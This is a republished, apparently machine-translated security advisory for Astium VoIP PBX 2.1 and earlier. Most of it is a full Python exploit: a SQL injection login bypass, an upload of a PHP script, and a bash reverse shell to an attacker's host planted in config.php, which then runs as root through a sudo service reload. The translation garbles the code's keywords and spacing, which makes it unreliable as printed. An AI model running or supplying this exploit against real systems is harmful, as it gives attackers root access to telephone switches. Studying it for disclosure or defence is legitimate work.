Multiple security vulnerabilities such as Astium PBX 'logon. php' SQL Injection

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Astium VoIP PBX <= v2.1 build 25399
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57097
 
Astium is a network telephone switch.
 
Astium PBX 2.1 and earlier versions have multiple security vulnerabilities. These vulnerabilities allow attackers to bypass authentication on login pages through SQL injection, access them as administrators, and then upload and execute PHP scripts.
 
<* Source: xistence (xistence@0x90.nl)

Link: http://www.exploit-db.com/exploits/23831/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Xistence (xistence@0x90.nl) provides the following test methods:
 
#! /Usr/bin/python
# + Response-+
# Exploit Title: Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit
# Date: 01-02-2012
# Author: xistence (xistence <[AT]> 0x90. nl)
# Software link: http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren? Lang = en
# Vendor site: http://www.oneip.nl/
# Version: v2.1 build 25399
# Tested on: CentOS 5.x 32-bit
#

# Vulnerability: Astium is prone to multiple vulnerabilities. This exploit will use SQL injection to bypass authentication on
# Login page and get access as an administrator. After that it will upload and execute a PHP script which will modify
# "/Usr/local/astium/web/php/config. php" script with our reverse shell php code and run
# "Sudo/sbin/service astcfgd reload" (Apache user is allowed to restart this service through sudo ).
# The service reload will cause the added code in "/usr/local/astium/web/php/config. php" to be executed as root and thus resulting in
# A reverse shell with root privileges.
# Code in "/usr/local/astium/web/php/config. php" is also removed again, else the web interface will stop functioning!
#
# Vendor has been contacted several times since 8-22-2011 (!) And promised to fix the issue, but until now hasn't resolved the issue.
#
# + Response-+
Import urllib, urllib2, cookielib
Import sys
Import random
Import mimetools
Import mimetypes
From cStringIO import StringIO
Import itertools

Print "[*] Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit-xistence [at] 0x90 [.] nl-2013-01-02"
If (len (sys. argv )! = 4 ):
Print "[*] Usage:" + sys. argv [0] + "<RHOST> <LHOST> <LPORT>"
Exit (0)

Rhost = sys. argv [1]
Lhost = sys. argv [2]
Lport = sys. argv [3]

Class MultiPartForm (object ):
"Accumulate the data to be used when posting a form ."""

Def _ init _ (self ):
Self. form_fields = []
Self. files = []
Self. boundary = mimetools. choose_boundary ()
Return

Def get_content_type (self ):
Return 'multipart/form-data; boundary = % s' % self. boundary

Def add_field (self, name, value ):
"" Add a simple field to the form data ."""
Self. form_fields.append (name, value ))
Return

Def add_file (self, fieldname, filename, fileHandle, mimetype = None ):
"" Add a file to be uploaded ."""
Body = fileHandle. read ()
If mimetype is None:
Mimetype = mimetypes. guess_type (filename) [0] or 'application/octet-stream'
Self. files. append (fieldname, filename, mimetype, body ))
Return

Def _ str _ (self ):
"" Return a string representing the form data, including attached files ."""
# Build a list of lists, each containing "lines" of
# Request. Each part is separated by a boundary string.
# Once the list is built, return a string where each
# Line is separated by '\ r \ n '.
Parts = []
Part_boundary = '--' + self. boundary

# Add the form fields
Parts. extend (
[Part_boundary,
'Content-Disposition: form-data; name = "% s" '% name,
'',
Value,
]
For name, value in self. form_fields
)

# Add the files to upload
Parts. extend (
[Part_boundary,
'Content-Disposition: file; name = "% s"; filename = "% s" '% \
(Field_name, filename ),
'Content-Type: % s' % content_type,
'',
Body,
]
For field_name, filename, content_type, body in self. files
)

# Flatten the list and add closing boundary marker,
# Then return CR + LF separated data
Flattened = list (itertools. chain (* parts ))
Flattened. append ('--' + self. boundary + '--')
Flattened. append ('')
Return '\ r \ n'. join (flattened)


# PHP script to write our reverse shell to the/usr/local/astium/web/php/config. php script.
PhpScript = ''' <? Php
$ F = fopen ("/usr/local/astium/web/php/config. php", "");
Fwrite ($ f, "\ n <? Php system ('/bin/bash-I> &/dev/tcp/% s 0> & 1');?> ");
Fclose ($ f );
System ("sudo/sbin/service astcfgd reload ");
// Sleep 1 minute, so that we have enough time for the reload to trigger our reverse shell
Sleep (60 );
$ Lines = file ('/usr/local/astium/web/php/config. php ');
// Delete last 2 lines (containing our reverse shell) of the config. php file, else the web interface won't work anymore after our exploit.
Array_pop ($ lines );
Array_pop ($ lines );
$ File = join ('', $ lines );
$ File_handle = fopen ('/usr/local/astium/web/php/config. php', 'w ');
Fputs ($ file_handle, $ file );
Fclose ($ file_handle );
?> ''' % (Lhost, lport)

# Create a random file with 8 characters
Filename =''
For I in random. sample ('abcdefghijklmnopqrstuvwxyz1234567890', 8 ):
Filename + = I
Filename + = ". php"

# Create the form with simple fields
Form = MultiPartForm ()
Form. add_field ('_ act', 'submit ')

# Add a "fake" file, our simple PHP script.
Form. add_file ('impcompany company', filename, fileHandle = StringIO (phpScript ))

# SQL Injection to bypass login
SQLiAuthBypass = "system 'OR 1 = '1"

# Our Cookie Jar
Cj = cookielib. CookieJar ()
Opener = urllib2.build _ opener (urllib2.HTTPCookieProcessor (cj ))

Print "[*] Opening index. php to get Cookies"
# Just open the url to grab the cookies and put them in the jar
Resp = opener. open ("http: // % s/en/content/index. php" % rhost)

Print "[*] Sending edevil SQLi authentication bypass payload"
# Set our post parameters and bypass the logon. php with our SQL Injection
Post_params = urllib. urlencode ({'_ act': 'submit ', 'user _ name': SQLiAuthBypass, 'pass _ word': 'pwne', 'submit': 'login '})
Resp = opener. open ("http: // % s/en/logon. php" % rhost, post_params)

Print "[*] Uploading PHP script" + filename + "to inject PHP code in '/usr/local/astium/web/php/config. php 'and run a 'sudo/sbin/service astcfgd reload' to create a reverse shell"
# Create our multi-part body + headers file upload request
Resp = urllib2.Request ("http: // % s/en/database/import. php" % rhost)
Body = str (form)
Resp. add_header ('content-type', form. get_content_type ())
Resp. add_header ('content-length', len (body ))
Resp. add_data (body)
Request = opener. open (resp). read ()

Print "[*] Executing remote PHP script. Check your netcat shell. NOTE: this can take up to 1-2 minutes before it spawns a shell \ n"
# Simple GET request to execute the script on the remote server
Resp = opener. open ("http: // % s/upload/% s" % (rhost, filename ))

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Astium
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren? Lang

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.